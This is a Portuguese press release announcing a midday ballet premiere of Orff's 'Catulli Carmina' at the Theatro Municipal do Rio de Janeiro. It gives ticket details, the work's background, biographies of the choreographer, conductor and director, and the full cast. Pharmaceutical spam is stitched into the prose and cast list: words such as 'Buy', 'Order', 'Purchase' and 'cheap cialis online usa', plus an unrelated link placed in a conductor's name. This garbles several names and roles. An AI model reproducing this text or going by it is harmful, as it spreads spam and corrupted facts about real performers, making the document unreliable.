Balé/DançaProgramaçãoRio de Janeiro

TMRJ apresenta coreografia inédita “Catulli carmina”

No ballet do meio-dia, com ingresso popular.

 

SERVIÇO

 

 

Theatro Municipal do Rio de Janeiro
Praça Floriano s/n° – Centro
Informações: (21) 2332-9191

Dias 23 e 30 de setembro, às 12h*.

Preço único: R$ 5,00

Classificação etária: livre                                                                                                                    

 

Vendas na Bilheteria, no site da Ingresso.com ou por telefone 21 4003-2330     

(*) Vale lembrar que, mesmo na sessão matinal, não é permitida a entrada de pessoas trajando bermuda, short, top, camiseta sem manga e chinelos, exceto para crianças até 10 anos.

 

 

Espetáculo criado por Eric Frederic, inspirado na cantata de Carl Orff, será executado pelo Ballet, Coro, Conjunto de Percussão da Orquestra Sinfônica do TM, dois solistas e quatro pianistas.

Segunda obra da trilogia Trionfi, de Carl Orff – da qual também fazem parte Carmina Burana (1937) e Trionfo di Afrodite (1952) –, Catulli Carmina foi concluída em 1943 com base nos versos do poeta latino Catulo (Cayo Valerio Catulo – Verona, 87 a.C. – Roma, 57 a.C.). Em maio, esta obra foi levada ao palco do Theatro Municipal pelo Coro do TM, Conjunto de Percussão da Orquestra Sinfônica do TM, dois cantores solistas e quatro pianistas.

Agora, a Fundação Buy Teatro Municipal do Rio de Janeiro, vinculada à Secretaria de Estado de Cultura, oferece a seu público uma versão enriquecida desta peça com o Ballet do Theatro Municipal, executando uma inédita coreografia contemporânea criada por Eric Frederic no projeto Ballet do Meio-Dia. Criado aos moldes da bem-sucedida série Ópera do Meio-Dia, este projeto também é realizado em sessões de 60 minutos com ingressos a R$ 5,00.

A única diferença para a atração similar é que os espectadores são acomodados na Sala de Espetáculos. Esta iniciativa – integrante da programação artística sob a responsabilidade do Maestro Isaac Karabtchevsky – tem a finalidade de divulgar o ballet e oferecer arte a quem trabalha no Centro, durante a pausa para descanso. A regência do espetáculo é do Maestro Jésus Figueiredo http://vinideuswine.com/?p=19736 e a direção geral do projeto é de Sergio Lobato, também diretor artístico do Ballet do TM.

São 116 artistas atuando neste grandioso espetáculo que tem como intérpretes dos papéis centrais as primeiras bailarinas Cláudia Mota e Márcia Jaqueline, o primeiro solista Moacir Emanoel e o bailarino Murilo Gabriel. A cantata terá como solistas a soprano Celinelena Ietto e o tenor Jacques Rocha Order e contará com dos pianistas Priscila Bomfim, Eliara Puggina, Silas Barbosa, Catherine Henriques (em 23/09) e Viviane Sobral (em 30/09), além das participações especiais da soprano Magda Belotti, do barítono Purchase Francisco Neves e do tenor Ricardo Tuttmann.

 

Sobre a coreografia

A base do poema Catulli Carmina são os versos do poeta romano Catulo, de família rica e em cuja casa costumava hospedar-se o imperador Júlio César. Aos vinte e poucos anos de idade, apaixonou-se pela jovem Clódia, também de origem aristocrática, mas que pretendia levar sua vida livremente sem se ligar a ninguém. A paixão desenfreada de Catulo e não correspondida por Clódia rendeu muitos poemas ao jovem, que sempre se referia à sua amada pelo pseudônimo Lésbia.

Na concepção do coreógrafo Eric Frederic, a história de Catulli Carmina passa-se em uma ilha, dentro de uma casa que está prestes a ser leiloada. Nesta propriedade foi organizada uma última festa, onde jovens se descobrem e se beijam, terminando em uma esbórnia. Na casa, encontram-se também velhos escrivães (na obra, chamados de notários), fazendo uma última avaliação no imóvel e observando os modos dos jovens. Os homens maduros começam a criticá-los e tentam aconselhá-los para o bom caminho. Porém Catulo, proprietário da casa e grande poeta, vai decidir que atitude tomar com os jovens.

 

Sobre o Coreógrafo

Eric Frederic nasceu na Bélgica e estudou na Ópera Real de Wallonie, Bélgica, em cuja Companhia foi bailarino étoile. Apresentou-se como bailarino em Festivais na Bélgica, França, Japão, Israel, bem como de produções de ballet na Inglaterra, Turquia, China e EUA. Foi Bailarino Principal da Companhia Robert Denvers, do Ballet Real de Flandres, onde trabalhou com Maurício Wainrot, Joseph Lazzini e Christopher D’Ambroise. Atuou como estrela na Ópera Nacional de Bordeaux na Companhia de Dança Ricballlet, do Festival de Dança de Formentera e do Estudio Colombe em Bordeaux, em que coreografou obras como Carmen e Requiem de Mozart, entre outros.

Entre suas coreografias destacam-se o pas-de-deux Slow-Dancer e os Cavaleiros das Rosas para o Ballet Jovem do RJ; Fuga Técnica, em 2012, para a Companhia do Teatro Colón, de Buenos Aires, apresentada também pela Royal Opera de Mascat-Arabia Saudita, em 2013; Marcha Triunfal, sobre o Hino Nacional Brasileiro, com 160 bailarinos, para a Escola de Dança Artes e Técnicas do Theatro Municipal Maria Olenewa; O Mundo em sua Mão, projeto social da Secretaria de Educação do Governo do Estado do Rio, com 20 jovens; Maracatu, com 80 bailarinos, em comemoração aos 40 anos do Projeto Aquarius na Praia de Copacabana.

Vale destacar ainda Valsa de Ravel, para o centenário do Theatro Municipal do Rio, e as óperas Romeu e Julieta e O Caso Makrópulos, com direção de Carla Camurati. Em 2014, estreou o pas-de-deux Precipitação, com apresentações no Teatro Colón, em Buenos Aires, e no Theatro Municipal, no festival Dança em Trânsito e também no projeto Ballet do Meio-Dia. Atualmente é Maître convidado do Ballet do Theatro Municipal do Rio de Janeiro.

 

Jésus Figueiredo – Regente e Maestro Titular do Coro do TM

 

Natural do Rio de Janeiro, online Jésus Figueiredo é formado em Regência, em Órgão de Tubos e é Mestre em Acústica Musical pela Universidade Federal do Rio de Janeiro. Desde 1999, é Maestro do Theatro Municipal, onde trabalha diretamente com o Coro e também com a Orquestra Sinfônica na preparação de óperas e concertos. Em 2012, trabalhou como Maestro Titular do Coro Ópera Brasil, e em 2013 assumiu a Direção Musical da Associação de Canto Coral.

Vem se dedicando também à regência de balés. Com o Ballet do Theatro Municipal, a Escola do Teatro Bolshoi do Brasil e a Cia. Brasileira de Ballet regeu títulos como Les Sylphides, O Quebra-NozesCoppélia e Don Quixote, além de ter preparado a Orquestra Sinfônica que acompanhou em 2011 e 2012 as temporadas brasileiras respectivamente do Balé Kirov de São Petersburgo (Rússia), em O Lago dos Cisnes, e do Ballet do Alla Scala de Milão (Itália), em Giselle.

Jésus Figueiredo já esteve à frente de orquestras como a Sinfônica de Minas Gerais, a Filarmônica do Ceará, a Acadêmica do Teatro Colón de Buenos Aires, a da Ópera de San Juan (Argentina) e a da Sinfônica Brasileira O&R, entre outras.

 

Sérgio Lobato – Diretor Geral do Projeto e Diretor Artístico do BTM

 

Sérgio Lobato é natural do Rio de Janeiro. Iniciou seus estudos de ballet aos 14 anos na Escola de Dança Selma Monteiro, com os professores José Moura e Sílvia Flores. Após dois anos, ingressou na Escola de Dança, Artes e Técnicas do Theatro Municipal Maria Olenewa, tendo como professores Edmundo Carijó, Consuelo Rios e Bertha Rosanova. Como bailarino profissional, atuou no Teatro Municipal de Niterói, com o regente Arthur Ferreira, e na Cia. de Dança Rio, sob a regência de Eric Valdo, participando junto a Eliana Caminada, Fernando Mendes e Othon Rocha no ballet Giselle e em outros ballets do repertório clássico. Teve oportunidade de trabalhar também com o coreógrafo Vitor Navarro e na Cia de Renato Magalhães.

Fundou sua companhia de dança – Ballet do Rio de Janeiro – com apresentações na cidade e em turnês pelo Brasil. Integrou a Associação de Ballet do Rio de Janeiro, sob a direção de Dalal Achcar, trabalhando com o coreógrafo Gilberto Mota. Fez diversos clipes na Rede Globo de Televisão, tal como Cazuza, entre outros. Em sua formação como professor fez intercâmbio no Royal Ballet School de Londres, na Inglaterra, na Academia Vaganova em São Petersburgo, na Rússia, e no American Ballet Theatre, em Nova York, Estados Unidos.

Foi Diretor Artístico da Escola do Teatro Bolshoi no Brasil, criando e remontando espetáculos clássicos e contemporâneos pelo Brasil, Europa e América do Sul. Trabalhou ao lado do lendário bailarino Wladimir Vasiliev e com estrelas do Ballet Bolshoi da Rússia. Recebeu moção ‘com louvor’ da Câmara Municipal do Rio de Janeiro por serviços prestados como professor na Escola Estadual de Dança Maria Olenewa. Trabalhou como professor, ensaiador e coreógrafo na Escola Estadual de Dança Maria Olenewa, Cia. Jovem de Ballet do RJ, Ballet Dalal Achcar, Grupo D.C., Cia Deborah Colker, São Paulo Cia de Dança, SESI Minas Cia de Dança e Ballet do Theatro Municipal do Rio de Janeiro. Atuou como ensaiador e professor no espetáculo Marguerite e Armand a convite de Ana Botafogo, na comemoração de seus 30 anos de carreira, e fez a codireção da Gala de 25 anos do Festival de Dança de Joinville.

 

 

CATULLI CARMINA

– Música: Carl Orff
Coreografia: Eric Frederic

Intérpretes:
Moacir Emanoel Order CheapCatulo
Murilo Gabrielcheap cialis online usa Hermano
Márcia JaquelineLésbia
Cláudia MotaClódia

– Notários: Aloani Bastos, Ana Luísa Teixeira, Marcella Gil, Marjorie Morrison, Rita Martins, Carlos Cabral, Ciro de Goes, Ivan Franco, Joseny Coutinho, Paulo Ricardo, Ronaldo Martins, Saulo Finelon, Sérgio Martins.

– Jovens: Carla Carolina, Carolina Neves, Deborah Ribeiro, Flávia Carlos, Juliana Valadão, Karen Mesquita, Margheritta Tostes, Melissa de Oliveira, Mônica Barbosa, Priscila Albuquerque, Priscilla Mota, Rachel Ribeiro, Renata Gouveia, Renata Soares, Samantha Monteiro, Vanessa Pedro, Viviane Barreto, Alef Albert, Bruno Fernandes, Edifranc Alves, Filipe Moreira, Gabriel Fernandes, Murilo Gabriel, Paulo Muniz, Rodrigo Negri, Sandro Fernandes.

– Solistas:
Celinelena Ietto, soprano
Jacques Rocha, tenor

– Participações especiais (vozes internas):
Magda Belotti (soprano), Francisco Neves (barítono) e Ricardo Tuttmann (tenor)

– Pianos:
Priscila Bomfim,
Eliara Puggina,
Silas Barbosa
Catherine Henriques
(em 23/09)
Viviane Sobral (em 30/09)

– Tímpanos:
Philipe Davis

Percussões:
Eliseu Moreira Costa
Edmere Sales Ferreira
Rafael Alves
Paula Buscacio
Sílvio Montez
Pedro Moitta

– Regência:
Jésus Figueiredo

– Iluminação:
Dino Ramirez

– Direção Geral:
Sérgio Lobato

 

 

 

 

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